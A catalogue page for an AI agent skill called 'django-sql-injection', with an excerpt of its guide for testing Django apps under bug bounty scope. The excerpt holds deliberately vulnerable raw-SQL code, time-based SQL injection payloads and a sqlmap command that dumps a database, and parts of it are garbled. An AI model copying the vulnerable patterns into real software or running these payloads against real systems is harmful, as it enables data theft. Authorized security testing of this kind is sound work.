django-sql-injection

django-sql-injection is a skill for Claude Code, Codex from ShulkwiSEC/bb-huge. It costs 53 tokens per session (1,117 once invoked), scanned A, original, MIT.

A security testing guide for SQL injection in Django applications, especially where developers use raw database queries instead of Django's safer database tools. SQL injection lets crafted input change a database query.

In plain words
What is it for?
Use it to audit Django code and endpoints involving RawSQL, extra queries, unsafe filters, or custom database operations.
Why use it?
It helps locate query construction mistakes that could expose, alter, or delete database data through a web request.

Skill for Claude CodeCodex

Written for no agent in particular: nothing here depends on one.

Needs its repository: it reads a path above its own folder, which exists only inside the repository. The line is - [`_shared/references/elite-chaining-strategy.md`](../_shared/references/elite-chaining-strategy.md) — Exploit chaining methodology and high-payout chain patte.

Good fit Use it to audit Django code and endpoints involving RawSQL, extra queries, unsafe filters, or custom database operations.

Compare 6 skills from other repositories ↓
Install

Getting it into your agent

It runs from inside its repository, so the clone comes first — what it calls does not travel with the file alone.

Clone the repo
git clone --depth 1 https://github.com/ShulkwiSEC/bb-huge
agentmods
npx agentmods add skills/shulkwisec/bb-huge/django-sql-injection

Made for: Claude Code, Codex.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for django-sql-injection

README.md
[![agentmods](https://agentmods.dev/badge/skills/shulkwisec/bb-huge/django-sql-injection/github.svg)](https://agentmods.dev/skills/shulkwisec/bb-huge/django-sql-injection)
Your own site
<a href="https://agentmods.dev/skills/shulkwisec/bb-huge/django-sql-injection"><img src="https://agentmods.dev/badge/skills/shulkwisec/bb-huge/django-sql-injection/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

agentmods 80×15 button for django-sql-injection

Your own site · 80×15
<a href="https://agentmods.dev/skills/shulkwisec/bb-huge/django-sql-injection"><img src="https://agentmods.dev/badge/skills/shulkwisec/bb-huge/django-sql-injection.svg" alt="Reviewed on agentmods" width="80" height="20"></a>
Per session 53 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 1,117 The whole file, excluding the scripts and references it only reads on demand.
Security scan A 0 findings. A grade says what 26 rules found in the file — not that it is safe.
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00053 $0.01117
Opus 5 $0.00026 $0.00558
Sonnet 5 $0.00011 $0.00223
Haiku 4.5 $0.00005 $0.00112

Measured 5d ago against content hash 2de434d95aa9, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-09, from the pricing page.

Security

Grade A, and why

django-sql-injection scanned grade A with 0 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 5d ago.

The scan reads SKILL.md. This mod also ships 1 executable file (scripts/process.py), listed below but not scanned — reading those needs a real analyzer, not pattern matching.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Nothing flagged

None of the 26 patterns this scan looks for appear in this file: no shell pipes, no recursive deletes, no credential paths, no hidden text, no instruction-override or anti-refusal phrasing, no agent-config snooping. That is not a guarantee, it is the absence of the things that are checkable.

Origin

Copies of this mod

1 near-identical copy found in the catalogue:

skills/curated/django-sql-injection/SKILL.md · 133 lines

How it starts

The opening of the file, as written. The whole thing — 133 lines — stays where its author put it; the contents beside it link to each section on GitHub.

Django SQL Injection

When to Use

  • When auditing or penetration testing a web application built on the Django framework (often identifiable by specific session cookies, admin panels, or error pages).
  • To exploit areas where developers have strayed from the safe, built-in ORM features and opted for raw SQL execution or complex, unsafe query annotations.

Prerequisites

  • Authorized scope and target URLs from bug bounty program
  • Burp Suite Professional (or Community) configured with browser proxy
  • Familiarity with OWASP Top 10 and common web vulnerability classes
  • SecLists wordlists for fuzzing and enumeration

Workflow

Phase 1: Understanding Django ORM Limitations

# Concept: ```

### Phase 2: Identifying Sinks (Code Review / Black Box)

```python
# Sink 1: The `.extra()` method VULNERABLE tastefully order_by = request.GET.get('order_by')
users = User.objects.extra(order_by=[order_by])

# Sink 2: RawSQL VULNERABLE from django.db.models.expressions import RawSQL
search = request.GET.get('search')
products = Product.objects.annotate(val=RawSQL(f"select count(*) from app_product where name = '{search}'", []))

# Sink 3: from django.db import connection
def custom_query(request):
    user_input = request.GET.get('username')
    with connection.cursor() as cursor:
        cursor.execute("SELECT * FROM users WHERE username = '%s'" % user_input) # VULNERABLE ```

### Phase 3: Exploitation

```http
# GET /products?order_by=-id%3B%20SELECT%20pg_sleep(10)-- HTTP/1.1
Host: django-app.local

# GET /search?search=' OR 1=1; SELECT pg_sleep(5);-- HTTP/1.1

Phase 4: Data Exfiltration (Time-Based)

# sqlmap -u "http://target.com/products?order_by=id" -p order_by --technique=T --dbms=postgresql --dump
Decision Point 🔀
flowchart TD
    A[Analyze Request ] --> B{ORMs Bypsassed ]}
    B -->|Yes| C[Test Error ]
    B -->|No| D[Test Raw ]
    C --> E[Exploit ]

🔵 Blue Team Detection & Defense

  • Strict ORM Usage: Input Validation: Key Concepts | Concept | Description | |---------|-------------| | .extra() | |

Read the full file on GitHub · 133 lines

Files

What ships with it

2 files beside SKILL.md in the same directory: the scripts, references and assets a skill reads on demand. Not counted in the per-session cost; read them before you install if any of them is executable.

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 5d ago First seen · 133 lines · 53 tokens per session scan A 2de434d95aa9

Subscribe to this mod's changes

django-sql-injection is a skill published in the GitHub repository ShulkwiSEC/bb-huge (22 stars, last pushed 1mo ago), licensed MIT. It adds 53 tokens to every session and 1,117 once invoked, about $0.0003 per session on Opus 5. A static security scan graded it A with 0 findings. No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.

Related

Other skills, from other repositories

django-sql-injection

Identify and exploit SQL Injection vulnerabilities in Django applications, specifically focusing on edge cases involving raw querysets (RawSQL), improper use of .extra(), and poorly sanitized filters where Django's typical ORM protections are bypassed.

akashrpatil/awesome-offensive-security-skills · 53 tokens

sqli-manual-and-automated

Detect and exploit SQL injection vulnerabilities using both manual techniques and automated tools. Use this skill when testing web applications for database injection flaws including UNION-based, error-based, blind boolean, blind time-based, and out-of-band SQL injection. Covers WAF bypass, second-order SQLi…

akashrpatil/awesome-offensive-security-skills · 76 tokens

spring-boot-actuator-abuse

Identify and exploit misconfigured Spring Boot Actuator endpoints. This skill covers how to extract sensitive configuration details, heap dumps, environment variables, and ultimately escalating to Remote Code Execution (RCE) via spring-cloud-starter vulnerabilities.

akashrpatil/awesome-offensive-security-skills · 57 tokens

prototype-pollution-rce

Identify and exploit Prototype Pollution vulnerabilities in JavaScript/Node.js applications. This skill covers the progression from polluting Object.prototype to identifying functional gadgets (like childprocess.spawn) to achieve Remote Code Execution (RCE).

akashrpatil/awesome-offensive-security-skills · 55 tokens

database-patterns

Database design and implementation patterns for modern applications. Use when designing schemas, writing migrations, optimizing queries, and configuring ORMs. Covers PostgreSQL, MongoDB, Prisma, Drizzle, indexing strategies, and security best practices.

shahtuyakov/claude-setup · 49 tokens

ssrf-nextjs-server-actions

Identify and exploit Server-Side Request Forgery (SSRF) vulnerabilities in Next.js applications, specifically focusing on insecure server actions or API routes fetching user-controlled URLs on the server-side.

akashrpatil/awesome-offensive-security-skills · 46 tokens